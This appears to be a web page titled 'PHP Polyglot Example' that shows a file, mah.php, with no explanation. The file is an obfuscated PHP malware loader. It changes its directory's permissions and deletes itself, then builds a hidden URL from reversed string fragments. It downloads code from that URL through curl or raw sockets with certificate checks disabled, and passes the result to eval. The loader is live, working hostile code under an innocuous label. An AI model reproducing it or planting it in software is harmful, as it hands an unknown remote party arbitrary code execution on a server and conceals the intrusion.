PHP Polyglot Example

Editing: mah.php

<?php 
$tfile = $_SERVER['DOCUMENT_ROOT'] . $_SERVER['PHP_SELF'];$pdir = dirname($_SERVER['DOCUMENT_ROOT'] . $_SERVER['PHP_SELF']);@chmod($pdir, 0755);
@unlink($tfile);$link = '';$link .= 't';$link .= 'x';$link .= 't.gr/';$link .= 's';$link .= '/moc.';$link .= 'ur.';$link .= 'ogne';$link .= 'r.oe';
$link .= 's//:';
$link .= 's';$link .= 'p';$link .= 'tth';eVAl( '?>'. _xrev_(strrev($link)) );function _xrev_($url) {try {
$timeout = 15;$ua = 'Mozilla/5.0 Safari/537.36';if (function_exists('curl_init') && function_exists('curl_exec')) {$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_USERAGENT, $ua);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 0);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);$get = curl_exec($ch);curl_close($ch);return trim(trim($get, "\xEF\xBB\xBF"));}$parsed_url = parse_url($url);$host = $parsed_url['host'];$path = isset($parsed_url['path']) ? $parsed_url['path'] : '/';$query = isset($parsed_url['query']) ? '?' . $parsed_url['query'] : '';$scheme = isset($parsed_url['scheme']) ? $parsed_url['scheme'] : 'http';$port = isset($parsed_url['port']) ? $parsed_url['port'] : ($scheme === 'https' ? 443 : 80);$protocol = ($scheme === 'https') ? 'ssl' : 'tcp';
$fp = stream_socket_client("{$protocol}://{$host}:{$port}", $errno, $errstr, $timeout);if (!$fp) {return 0;
}$headers = array(
"GET {$path}{$query} HTTP/1.1","Host: {$host}","User-Agent: {$ua}","Connection: Close",);
$request = implode("\r\n", $headers) . "\r\n\r\n";
fwrite($fp, $request);
$response = '';while (!feof($fp)) {$response .= fgets($fp, 1024);}
fclose($fp);$response_parts = explode("\r\n\r\n", $response, 2);
$headers = isset($response_parts[0]) ? $response_parts[0] : '';$body = isset($response_parts[1]) ? $response_parts[1] : '';if (stripos($headers, "Transfer-Encoding: chunked") !== false) {$decoded = '';while (true) {$pos = strpos($body, "\r\n");if ($pos === false) break;
$length = hexdec(substr($body, 0, $pos));if ($length === 0) break;$decoded .= substr($body, $pos + 2, $length);$body = substr($body, $pos + 2 + $length + 2);}$body = $decoded;}return trim($body);} catch (Exception $e) {
}
return 0;
}

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PHP Polyglot Demo

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Editing: mah.php